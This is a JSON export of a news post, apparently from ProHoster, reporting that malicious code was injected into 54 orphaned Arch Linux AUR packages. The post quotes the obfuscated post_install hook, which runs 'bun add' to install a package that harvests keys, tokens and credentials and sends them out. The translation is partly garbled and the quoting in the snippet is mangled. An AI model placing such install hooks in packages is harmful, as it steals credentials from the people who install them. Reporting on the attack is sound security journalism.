{"id":182059,"date":"2026-06-14T14:48:30","date_gmt":"2026-06-14T12:48:31","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/v-aur-osushhestvlena-podstanovka-vredonosnogo-koda-eshhyo-v-54-paketa"},"modified":"2026-06-14T14:48:30","modified_gmt":"2026-06-14T12:48:31","slug":"v-aur-osushhestvlena-podstanovka-vredonosnogo-koda-eshhyo-v-54-paketa","status":"publish","type":"post","link":"https:\/\/prohoster.info\/en\/blog\/news\/v-aur-osushhestvlena-podstanovka-vredonosnogo-koda-eshhyo-v-54-paketa","title":{"rendered":"Malicious code was injected into an additional 54 packages in AUR.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Despite the measures taken by the developers of Arch Linux, the activity of injecting malicious code into the AUR (Arch User Repository) has not stopped. A few hours ago, malicious code was injected into another 54 packages that lacked maintainers (the history of the malicious edits has been reverted). Unlike the attacks of the day before yesterday, this time the bun platform was used instead of the npm package manager to install the malicious dependencies. To bypass the implemented filters, an obfuscated string is inserted into the post_install function, which calls the command 'bun add' to install packages containing malicious code that performs scanning and sends data externally. server<\/a> keys, tokens, and credentials. <\/p>\n

post_install() {
\n $\u2019x63\u2032d\u2019 \u2018\/\u2019\u2018t'\u2019m\u2019\u2018p\u2019 && \u2018b\u2019\u2018u\u2019\u2018n\u2019 \u2018a\u2019\u2018d\u2019\u2018d\u2019 $\u2019141x6e\u2019s'\u2019i\u2019\u2019-\u2018$\u2019143\u2019o\u2019l\u2019o\u2019r\u2019$\u2019x73\u2032 \u2018n\u2019\u2018e\u2019\u2018x\u2019\u2018t\u2019\u2018f\u2019\u2018i\u2019\u2018l\u2019\u2018e\u2019\u2018-\u2019\u2018j\u2019\u2018s\u2019
\n }
\n
Source: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043c\u0435\u0440\u044b, \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438 Arch Linux, \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043f\u043e \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 AUR (Arch User Repository) \u043d\u0435 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0430. \u041d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0447\u0430\u0441\u043e\u0432 \u043d\u0430\u0437\u0430\u0434 \u0432\u0440\u0435\u0434\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u0435\u0449\u0451 \u0432 54 \u043f\u0430\u043a\u0435\u0442\u0430, \u043e\u0441\u0442\u0430\u0432\u0448\u0438\u0445\u0441\u044f \u0431\u0435\u0437 \u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0436\u0434\u0430\u044e\u0449\u0438\u0445 (\u0438\u0441\u0442\u043e\u0440\u0438\u044f \u043e\u0442\u043c\u0435\u043d\u044b \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u0440\u0430\u0432\u043e\u043a). \u0412 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u043e\u0442 \u043f\u043e\u0437\u0430\u0432\u0447\u0435\u0440\u0430\u0448\u043d\u0438\u0445 \u0430\u0442\u0430\u043a, \u0432\u043c\u0435\u0441\u0442\u043e \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0433\u043e \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0430 npm \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0430 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":8,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-182059","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Malicious code has been injected into another 54 packages in AUR | ProHoster","description":"Despite the measures taken by Arch Linux developers, the activity of injecting malicious code into the AUR (Arch User Repository) has not stopped.","canonical_url":"https:\/\/prohoster.info\/en\/blog\/news\/v-aur-osushhestvlena-podstanovka-vredonosnogo-koda-eshhyo-v-54-paketa","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"en_US","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0412 AUR \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u0430 \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0435\u0449\u0451 \u0432 54 \u043f\u0430\u043a\u0435\u0442\u0430 | ProHoster","og:description":"\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043c\u0435\u0440\u044b, \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438 Arch Linux, \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043f\u043e \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 AUR (Arch User Repository) \u043d\u0435 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0430.","og:url":"https:\/\/prohoster.info\/en\/blog\/news\/v-aur-osushhestvlena-podstanovka-vredonosnogo-koda-eshhyo-v-54-paketa","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2026-06-14T12:48:31+00:00","article:modified_time":"2026-06-14T12:48:31+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"182059","title":null,"description":null,"keywords":null,"keyphrases":{"focus":[],"additional":[]},"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2026-08-05 12:22:23","updated":"2026-08-05 12:22:23","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/posts\/182059","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/users\/8"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/comments?post=182059"}],"version-history":[{"count":1,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/posts\/182059\/revisions"}],"predecessor-version":[{"id":182067,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/posts\/182059\/revisions\/182067"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/media?parent=182059"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/categories?post=182059"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/tags?post=182059"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}